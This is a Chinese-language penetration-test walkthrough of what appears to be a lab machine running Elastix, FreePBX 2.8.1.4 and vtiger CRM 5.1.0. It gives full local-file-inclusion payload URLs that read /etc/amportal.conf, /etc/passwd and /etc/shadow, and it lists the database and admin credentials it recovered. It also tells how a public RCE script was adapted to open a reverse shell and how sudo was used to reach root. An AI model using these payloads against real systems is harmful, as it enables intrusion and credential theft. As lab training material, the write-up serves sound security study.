使用Nmap对靶场地址进行端口嗅探,靶场对外开放22、25、80、110、111、143、443、993、995、3306、4445、10000端口,操作系统类型为Linux。
查看80端口,自动跳转至443端口,发现其为Elastix组件。
查看SSL证书,未发现有用信息。
使用Diresearch对https://10.129.104.193/进行目录扫描,发现部分敏感信息。
在https://10.129.104.193/admin/config.php页面发现登录口,退出登录操作时跳转至401未认证页面,在左上角可以看到FreePBX的版本为2.8.1.4。
通过目录扫描还发现https://10.129.104.193/vtigercrm/登录页面,版本为vtiger CRM 5.1.0。
使用searchsploit对Elastix进行搜索,发现存在可利用漏洞,分别进行漏洞利用。
尝试利用FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution漏洞,修改脚本如下,但是无法填入extension变量的值(查看payload该字段在URL中拼接),无法反弹shell成功。
尝试利用Elastix 2.2.0 - 'graph.php' Local File Inclusion漏洞,查看文件,payload为 /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action。
利用该漏洞,访问https://10.129.104.193/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action页面,获取到数据库及Web登录凭据。
AMPDBHOST=localhost
AMPDBENGINE=mysql
AMPDBUSER=asteriskuser
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
AMPMGRPASS=jEhdIekWmdjE
使用admin/jEhdIekWmdjE登录https://10.129.104.193/,查看配置信息,在https://10.129.104.193/config.php?type=setup&display=extensions&extdisplay=233获取到extension值。
此外对https://10.129.104.193/vtigercrm/进行漏洞发现,发现存在”vTiger CRM 5.1.0 - Local File Inclusion “漏洞。
查看漏洞利用方式并进行利用,在https://10.129.1.226/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00页面,成功包含出用户列表信息。
访问https://10.129.1.226/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/shadow%00页面,发现未具备root权限。
访问https://10.129.104.193/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../home/fanis/user.txt%00页面,成功获取到user.txt文件。
根据上述找到的extension值再次修改FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution脚本。
Kali监听,运行漏洞利用脚本,成功反弹shell。
查看shell信息,为低权限账户。
执行sudo -l命令,发现有很多免密执行root权限的文件,利用FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution的提权方式进行提权。
成功获取root权限,并获得root.txt。